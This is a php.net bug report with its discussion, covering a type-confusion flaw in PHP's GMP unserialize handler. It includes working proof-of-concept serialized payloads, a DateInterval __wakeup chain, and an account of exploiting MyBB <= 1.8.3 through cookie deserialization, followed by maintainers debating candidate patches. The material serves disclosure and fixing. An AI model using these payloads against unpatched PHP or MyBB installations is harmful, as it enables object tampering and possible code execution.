|
|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-09-16 16:39 UTC] taoguangchen at icloud dot com
Description:
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
```
zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
```
it has been demonstrated many times before that __wakeup() or other magic methods leads ZVAL is changed from the memory. so an attacker can change **object to an integer-type ZVAL or bool-type ZVAL, then will be able to access any objects that stored in objects store via Z_OBJ_P. this means an attacker will be able to update any properties in object via zend_hash_copy(). it is possible to lead to various problems and including security issues.
PoC:
```
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
```
Expected result:
```
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
```
Actual result:
```
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
```
Fix:
```
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
- || Z_TYPE_P(zv_ptr) != IS_ARRAY
+ || Z_TYPE_P(zv_ptr) != IS_ARRAY || Z_TYPE_P(*object) != IS_OBJECT
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2024 The PHP GroupAll rights reserved. |
Last updated: Thu Nov 21 08:01:29 2024 UTC |
i) how to exploited this bug in real world? on php 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments it's properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type ZVAL via GMP's gmp_cast_object(): ``` static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */ { mpz_ptr gmpnum; switch (type) { ... case IS_LONG: gmpnum = GET_GMP_FROM_ZVAL(readobj); INIT_PZVAL(writeobj); ZVAL_LONG(writeobj, mpz_get_si(gmpnum)); return SUCCESS; ``` PoC: ``` var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}')); ``` of course, a crafted __wakeup() can also be exploited, ex: ``` function __wakeup() { $this->ryat = (int)$this->ryat; } ``` ii) can be exploited this bug in real app? on mybb <= 1.8.3: ``` if(isset($mybb->cookies['mybb']['forumread'])) { $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']); } ``` mybb allow deserialization cookie datas via unserialize(), so an attacker will be able to update $mybb or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-) P.S. i had reported this vulnerability and it had been fixed in mybb >= 1.8.4.update better fix for this bug: diff --git a/php-5.6.13/gmp.c b/php-5.6.13-fixed/gmp.c index c7cdef7..e698d04 100644 --- a/php-5.6.13/gmp.c +++ b/php-5.6.13-fixed/gmp.c @@ -631,11 +631,15 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c mpz_ptr gmpnum; const unsigned char *p, *max; zval *zv_ptr; + zval tmp; int retval = FAILURE; php_unserialize_data_t unserialize_data = (php_unserialize_data_t) data; PHP_VAR_UNSERIALIZE_INIT(unserialize_data); gmp_create_ex(*object, &gmpnum TSRMLS_CC); + + tmp = **object; + zval_copy_ctor(&tmp); p = buf; max = buf + buf_len; @@ -660,11 +664,13 @@ static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned c if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( - zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), + zend_std_get_properties(&tmp TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); } + zval_dtor(&tmp); + retval = SUCCESS; exit: var_push_dtor_no_addref(&unserialize_data, &zv_ptr);I'm not sure I am happy with it as it means every class that does unserialize() method has to copy the object. I have another idea: --- a/ext/standard/var_unserializer.re +++ b/ext/standard/var_unserializer.re @@ -502,6 +502,9 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER) var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); I wonder if this shouldn't fix the issue. Though I need to check really carefully if it doesn't break the semantics.I think this patch can fix this bug: ``` var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + if (Z_REFCOUNT_PP(rval_ref) == 1) { + Z_ADDREF_PP(rval_ref); + } + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ```update fix, and also fix bug#69425: ``` var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + Z_ADDREF_PP(rval_ref); + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ```Unfortunately, this leaks memory. E.g. on the example from the ticket it produces: [Sun Sep 25 22:54:28 2016] Script: '/Users/smalyshev/php-5.6/mamp/70513.php' ext/standard/var_unserializer.re(517) : Freeing 0x106159AB8 (32 bytes), script=/Users/smalyshev/php-5.6/mamp/70513.php Line 517 is exactly this: SEPARATE_ZVAL_IF_NOT_REF(rval); Running serializer test suite on it fails 16 tests. So it can't be accepted as a fix without additional modification.this patch can fix all these memory leaks, but still breaks some tests. ``` + Z_ADDREF_PP(rval_ref); + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + var_push_dtor_no_addref(var_hash, rval); + } ```another patch, separate if call to __wakeup() with reference, don't breaks tests and reference functionality. ··· diff --git a/ext/standard/var_unserializer.c b/ext/standard/var_unserializer.c index e7eac2d..ce2f4fc 100644 --- a/ext/standard/var_unserializer.c +++ b/ext/standard/var_unserializer.c @@ -447,6 +447,14 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) { + zval **data; + HashPosition ptr; + HashTable *ht = Z_OBJPROP_PP(rval); + for (zend_hash_internal_pointer_reset_ex(ht, &ptr); zend_hash_get_current_data_ex(ht, (void **) &data, &ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &ptr)) { + if (Z_ISREF_PP(data)) { + SEPARATE_ZVAL(data); + } + } INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0); BG(serialize_lock)++; ···Unfortunately, this one does not work either, it just breaks references for all objects that use __wakeup. Looks like tests miss this one. Consider this script: ?php class foo { public function __wakeup() {} } $a = new foo(); $a->x = "123"; $a->y =& $a->x; var_dump($a); $s = serialize($a); var_dump($s); $b = unserialize($s); var_dump($b); After your last patch, the references are broken upon unserialize.The latest patch fix all these bugs and don't breaks fully reference functionality: ``` diff --git a/ext/standard/var_unserializer.c b/ext/standard/var_unserializer.c index e7eac2d..13e8bd0 100644 --- a/ext/standard/var_unserializer.c +++ b/ext/standard/var_unserializer.c @@ -447,6 +447,15 @@ static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) { + zval **data; + HashPosition ptr; + HashTable *ht = Z_OBJPROP_PP(rval); + for (zend_hash_internal_pointer_reset_ex(ht, &ptr); zend_hash_get_current_data_ex(ht, (void **) &data, &ptr) == SUCCESS; zend_hash_move_forward_ex(ht, &ptr)) { + if (Z_ISREF_PP(data)) { + SEPARATE_ZVAL(data); + Z_SET_ISREF_PP(data); + } + } INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0); BG(serialize_lock)++; ```